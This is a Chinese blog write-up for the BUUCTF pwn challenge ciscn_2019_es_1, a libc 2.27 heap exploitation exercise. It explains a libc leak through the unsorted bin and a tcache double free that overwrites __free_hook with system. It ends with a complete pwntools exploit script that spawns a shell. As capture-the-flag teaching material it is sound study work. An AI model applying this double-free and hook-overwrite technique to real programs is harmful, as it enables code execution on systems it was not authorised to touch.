[BUUCTF]PWN——ciscn_2019_es_1

ciscn_2019_es_1

之前想要找一个老版本的libc 2.27的来调试一下这道题,没找到,后来在群里其他师傅的帮助下知道了patchelf,想着终于可以自己调试一下了,然后又蹦了。记录一下解体思路。

  1. 例行检查,64位程序,保护全开
    在这里插入图片描述
  2. 本地运行一下程序,经典的堆体菜单
    在这里插入图片描述
  3. 64位ida载入,稍微修改了一下参数的类型,方便理解。看一下各个选项的函数
    add
    在这里插入图片描述
    随便申请一个chunk,看一下结构,能有一个更直观的感受add(0x30,'aaaa','bbbb')#0
    在这里插入图片描述
    show
    在这里插入图片描述
    call
    在这里插入图片描述

利用思路(常见的uaf利用方法):

  1. 利用unsorted bin获取libc基址
  2. 利用double free将chunk里指向name chunk指针修改成指向free hook
  3. 利用add修改free hook为system.
  4. 在申请一个chunk,里面内容为“/bin/sh”,free释放掉,既执行了system(‘/bin/sh’)
  5. 注意2.27 的 tcache 机制,详细看ctfwiki

利用过程:

  1. 我们需要释放一个chunk,让其进入unsorted bin来获取libc基址
    libc2.27存在一个tcache机制,类似于fastbin一样的东西,每条链上最多可以有 7 个 chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tcache找。 tcache bin中最大为0x400字节,因此只要申请超过0x400字节大小的chunk就能进入unsorted bin
    关于tcache的知识点)
add(0x410,'aaaa','0')     #用来绕过tcache进入unsorted bin
add(0x20,'bbbb','1')
add(0x20,'/bin/sh,'2')    #方便后面利用

此时的chunk的分布情况
在这里插入图片描述
接下来free chunk0,让其进入unsorted bin
这时根据 unsorted bin 的特性, fd 和 bk 指针都会指向 main_arena + 96处
在这里插入图片描述

show(0)
libcbase=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']

这样我们就能泄露出 libc 基址,从而得到 free hook 和 system 的地址
在这里插入图片描述
malloc_hook和main_arena的偏移是固定的0x10,小知识点可以记录一下
在这里插入图片描述

  1. 利用double free将chunk里指向name chunk指针修改成指向free hook
    这边有个比较坑的事,就是20年10月后,2.27libc加了double free检测。所以要做这道题本地调试的时候还得要使用patchelf来更改一下使用的动态库,不然你的double free程序就直接崩了。(patchelf的使用patchelf的下载
    安装过程参考上面给的链接
    在这里插入图片描述
    patchelf --set-rpath libc-2.27.so ciscn_2019_es_1
    在这里插入图片描述
    为什么不贴调试图,因为我换完libc后pwngdb调试蹦了。
    理论上来讲就是利用double free更改fd指针,让我们的下一个chunk申请到free_hook地址上去,然后在这边申请申请一个chunk,改写free_hook的地址为system地址。

  2. 利用add修改free hook为system. 释放掉里面内容为“/bin/sh”的chunk,即执行了system(‘/bin/sh’)

exp

from pwn import *

context.log_level="debug"
sh = process('ciscn_2019_es_1')
#sh=remote('node4.buuoj.cn',29068)

libc = ELF('./libc-2.27.so')

def add(size,name,compary):
	sh.sendlineafter('choice:','1')
	sh.sendlineafter("compary's name",str(int(size)))
	sh.sendafter('input name:',name)
	sh.sendafter('call:',compary)

def show(index):
	sh.sendlineafter('choice:','2')
	sh.sendlineafter('\n',str(index))

def call(index):
	sh.sendlineafter('choice','3')
	sh.sendlineafter('\n',str(index))


add(0x410,'aaaa','0')
add(0x20,'bbbb','1')
add(0x20,'ccc','2')
add(0x20,'/bin/sh','3')
call(0)
#gdb.attach(sh)

show(0)
libcbase=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']

call(1)
#gdb.attach(sh)
call(1)
#gdb.attach(sh)

add(0x28,p64(free_hook),'1')
add(0x28,'dddd','2')
add(0x28,p64(system),'4')

call(3)

sh.interactive()

在这里插入图片描述


版权声明:本文为mcmuyanga原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。